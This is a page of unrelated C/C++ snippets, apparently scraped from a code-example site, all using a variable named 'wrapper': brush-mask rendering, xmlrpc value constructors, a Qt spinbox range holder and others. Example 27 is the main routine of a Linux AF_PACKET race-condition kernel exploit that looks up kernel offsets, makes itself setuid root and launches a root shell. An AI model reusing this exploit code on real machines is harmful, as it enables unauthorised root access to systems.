        Q_ASSERT(dst->bounds().width() >= dstWidth && dst->bounds().height() >= dstHeight);
    }

    quint8* dabPointer = dst->data();

    quint8* color = 0;
    if (coloringInformation) {
        if (dynamic_cast<PlainColoringInformation*>(coloringInformation)) {
            color = const_cast<quint8*>(coloringInformation->color());
        }
    }

    double invScaleX = 1.0 / scaleX;
    double invScaleY = 1.0 / scaleY;

    double centerX = hotSpot.x() - 0.5 + subPixelX;
    double centerY = hotSpot.y() - 0.5 + subPixelY;

    d->shape->setSoftness( softnessFactor );

    if (coloringInformation) {
        if (color && pixelSize == 4) {
            fillPixelOptimized_4bytes(color, dabPointer, dstWidth * dstHeight);
        } else if (color) {
            fillPixelOptimized_general(color, dabPointer, dstWidth * dstHeight, pixelSize);
        } else {
            for (int y = 0; y < dstHeight; y++) {
                for (int x = 0; x < dstWidth; x++) {
                    memcpy(dabPointer, coloringInformation->color(), pixelSize);
                    coloringInformation->nextColumn();
                    dabPointer += pixelSize;
                }
                coloringInformation->nextRow();
            }
        }
    }

    MaskProcessingData data(dst, cs, d->randomness, d->density,
                            centerX, centerY,
                            invScaleX, invScaleY,
                            angle);

    KisBrushMaskApplicatorBase *applicator = d->shape->applicator();
    applicator->initializeData(&data);

    int jobs = d->idealThreadCountCached;
    if(dstHeight > 100 && jobs >= 4) {
        int splitter = dstHeight/jobs;
        QVector<QRect> rects;
        for(int i = 0; i < jobs - 1; i++) {
            rects << QRect(0, i*splitter, dstWidth, splitter);
        }
        rects << QRect(0, (jobs - 1)*splitter, dstWidth, dstHeight - (jobs - 1)*splitter);
        OperatorWrapper wrapper(applicator);
        QtConcurrent::blockingMap(rects, wrapper);
    } else {
        QRect rect(0, 0, dstWidth, dstHeight);
        applicator->process(rect);
    }
}
Ejemplo n.º 24
0
value_datetime::value_datetime(time_t const cppvalue) {

    cDatetimeValueWrapper wrapper(cppvalue);

    this->instantiate(wrapper.valueP);
}
Ejemplo n.º 25
0
  void
  int_range_steps_holder::
set_values
 (  value_type  val
  , value_type  min
  , value_type  max
  , value_type  ss   // = -1
  , value_type  ps   // = -1
 )
{
    d_assert( is_valid( ));

    // Use existing values if negative steps specified.
    if ( ss < 0 ) { ss = get_single_step( ); }
    if ( ps < 0 ) { ps = get_page_step(   ); }

    // Make sure the new values are valid. Min and single-step never change here.
    if ( max < min ) { max = min; }
    if ( val < min ) { val = min; }
    if ( val > max ) { val = max; }
    if ( (0 != ps) && (ps < ss) ) { ps = ss; }

    // Find out what's going to change.
    bool const  is_changed__val  = (value_       != val);
    bool const  is_changed__min  = (min_value_   != min);
    bool const  is_changed__max  = (max_value_   != max);
    bool const  is_changed__ss   = (single_step_ != ss );
    bool const  is_changed__ps   = (page_step_   != ps );

    // We're done if nothing is changing.
    if ( is_changed__val ||
         is_changed__min ||
         is_changed__max ||
         is_changed__ss  ||
         is_changed__ps  )
    {
        if ( is_setting( ) ) {
            d_assert( false);
        } else {
            while_setting_value_wrapper_type wrapper( this);

            // Set the values in this holder.
            if ( is_changed__val ) { value_       = val; }
            if ( is_changed__min ) { min_value_   = min; }
            if ( is_changed__max ) { max_value_   = max; }
            if ( is_changed__ss  ) { single_step_ = ss ; }
            if ( is_changed__ps  ) { page_step_   = ps ; }
            d_assert( is_valid( ));

            // Loop thru all the attached widgets (spinboxes and sliders).
            // We don't have to relay our has_changed.. signals to these ctrls because we
            // keep them in sync here.
            list_type::iterator        iter        = attached_widgets_.begin( );
            list_type::iterator const  iter_limit  = attached_widgets_.end( );
            while ( iter != iter_limit ) {
                QWidget * p_widget = *iter;
                d_assert( p_widget);

                QSpinBox * p_spinb = qobject_cast< QSpinBox * >( p_widget);
                if ( p_spinb ) {
                    move_values_to( p_spinb);
                } else {
                    QAbstractSlider * p_slider = qobject_cast< QAbstractSlider * >( p_widget);
                    d_assert( p_slider);
                    move_values_to( p_slider);
                }
                
                ++ iter;
            }

            // Emit the value signals. The has_changed( ) signal with no args will be emitted last.
            if ( is_changed__ss || is_changed__ps ) {
                emit has_changed__steps( get_single_step( ), get_page_step( ));
            }
            if ( is_changed__min || is_changed__max ) {
                emit has_changed__range( get_min_value( ), get_max_value( ));
            }
            if ( is_changed__val ) {
                emit has_changed( get_value( ));
            }

            // The dtor for this wrapper emits the has_changed( ) signal.
            wrapper.done_with_no_throws( );
        }
    }
    d_assert( is_valid( ));
}
Ejemplo n.º 26
0
value_datetime::value_datetime(struct timespec const& cppvalue) {

    cDatetimeValueWrapper wrapper(cppvalue);

    this->instantiate(wrapper.valueP);
}
Ejemplo n.º 27
0
int main(int argc, char **argv)
{
    int status, pid;
    struct utsname u;
    int i, crash = 0;
    char buf[512], *f;


    if(argc == 2 && !strcmp(argv[1],"crash")) {
        crash = 1;
    }


    if(getuid() == 0 && geteuid() == 0 && !crash) {
        chown("/proc/self/exe",0,0);
        chmod("/proc/self/exe",06755);
        exit(-1);
    }

    else if(getuid() != 0 && geteuid() == 0 && !crash) {
        setresuid(0,0,0);
        setresgid(0,0,0);
        execl("/bin/bash","bash","-p",NULL);
        exit(0);
    }

    fprintf(stderr,"linux AF_PACKET race condition exploit by rebel\n");

    uname(&u);

    if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '\0';

    snprintf(buf,512,"%s %s",u.release,u.version);

    printf("kernel version: %s\n",buf);


    for(i=0; offsets[i].kernel_version != NULL; i++) {
        if(!strcmp(offsets[i].kernel_version,buf)) {

            while(offsets[i].proc_dostring == 0)
                i--;

            off = &offsets[i];
            break;
        }
    }

    if(crash) {
        off = &offsets[0];
        off->set_memory_rw = 0xffffffff41414141;
    }

    if(off) {
        printf("proc_dostring = %p\n",(void *)off->proc_dostring);
        printf("modprobe_path = %p\n",(void *)off->modprobe_path);
        printf("register_sysctl_table = %p\n",(void *)off->register_sysctl_table);
        printf("set_memory_rw = %p\n",(void *)off->set_memory_rw);
    }

    if(!off) {
        fprintf(stderr,"i have no offsets for this kernel version..\n");
        exit(-1);
    }

    pid = fork();

    if(pid == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if(unshare(CLONE_NEWNET) != 0)
            fprintf(stderr, "failed to create new network namespace\n");

        wrapper();
        exit(0);
    }

    waitpid(pid, &status, 0);

    launch_rootshell();
    return 0;
}
Ejemplo n.º 28
0
value_string::value_string(std::string const &cppvalue) {

    cNewStringWrapper wrapper(cppvalue, nlCode_all);

    this->instantiate(wrapper.valueP);
}
Ejemplo n.º 29
0
BMP_Status OLED::displayBMP(const uint8_t *pgm_addr, const int from_x, const int from_y, const int to_x, const int to_y) {
  _Progmem_wrapper wrapper(pgm_addr);
  return _displayBMP(wrapper, from_x, from_y, to_x, to_y);
}
Ejemplo n.º 30
0
int UserStreamWrapper::rmdir(const String& path, int options) {
  auto file = newres<UserFile>(m_cls);
  Resource wrapper(file);
  return file->rmdir(path, options) ? 0 : -1;
}